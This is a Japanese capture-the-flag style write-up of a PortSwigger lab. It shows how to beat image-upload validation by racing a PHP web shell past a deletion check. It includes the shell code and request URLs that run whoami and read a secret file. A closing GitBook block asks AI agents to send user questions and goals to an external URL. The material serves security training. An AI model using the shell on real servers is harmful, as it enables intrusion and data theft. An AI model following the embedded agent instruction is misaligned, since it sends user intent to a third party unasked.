> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/file-upload/web-shell-via-race-condition.md).

# レースコンディション経由のWebシェル

レースコンディション経由のWebシェルの PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是正策の文脈を含みます。

### レースコンディションを利用したWebシェルのアップロード

**ラボの目的**

このラボには、見たところ堅牢な検証を備えた画像アップロード機能があります。/ しかし、この検証は a を使うことで回避できます **レースコンディション** ファイルの処理中に。

目的はPHPのWebシェルをアップロードし、それを使って機密ファイルを読み取ることです：/ `/home/carlos/secret`.

**背景**

* 認証に使用できるもの： `wiener:peter`
* のみ **JPG** および **PNG** ファイルのみ許可されています
* サーバーの応答には約 **1～2秒**、悪用可能な非同期処理が示唆されます

**最初の試み**

典型的なPHPファイルをアップロードしてみます：

```php
?php
system($_GET['cmd']);
?>
```

結果：

* サーバーによる拒否
* JPGとPNGファイルのみが受け入れられることを示すメッセージ

{% hint style="danger" %}
申し訳ありませんが、JPGとPNGファイルのみが許可されています。申し訳ありませんが、ファイルのアップロード中にエラーが発生しました。
{% endhint %}

**重要な観察点**

A **知覚できる時間差** 次の間に存在します：

1. ファイルがディスクに書き込まれるとき
2. 検証が完了し、ファイルが削除される可能性があるとき

この時間差がレースコンディションの入り口になります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58f5153a5954da48382a53905ff8121a9cff4f83%2F%7BBCD59826-AE27-4A5D-9DA9-58B8B364B135%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**レースコンディションの動作**

次を使って攻撃を開始します： **Intruder** （または同等のツール）

* ダウンロードリクエストを繰り返し高速で送信
* ペイロードは空または反復的、ループ実行

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b4619012c7761f24510d9e07d5c0c33026feda5f%2F%7B4B4B4B94-EF40-47BB-8775-257EFA76076D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

サーバーがアップロードを処理している間：

* 想定したファイルのURLを継続的に更新する

```bash
/files/avatars/cmd.php?cmd=whoami
```

ある時点で、ファイルにアクセス可能になります **前に** 検証が無効化する

* その後、PHPコードはサーバーによって解釈されます

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7bf4a5ebd209db51eaaf076f6b14b8b020e5c72f%2F%7B3062563A-C86B-48E3-8D98-A81862460BB1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Webシェルの悪用**

実行後、秘密ファイルを読み取れます：

```bash
/files/avatars/cmd.php?cmd=cat /home/carlos/secret
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77274839a5eb86f41ea797d0d40b0ddb7c71c106%2F%7BD67F309F-B210-4E8D-9911-620183C6F16A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/file-upload/web-shell-via-race-condition.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
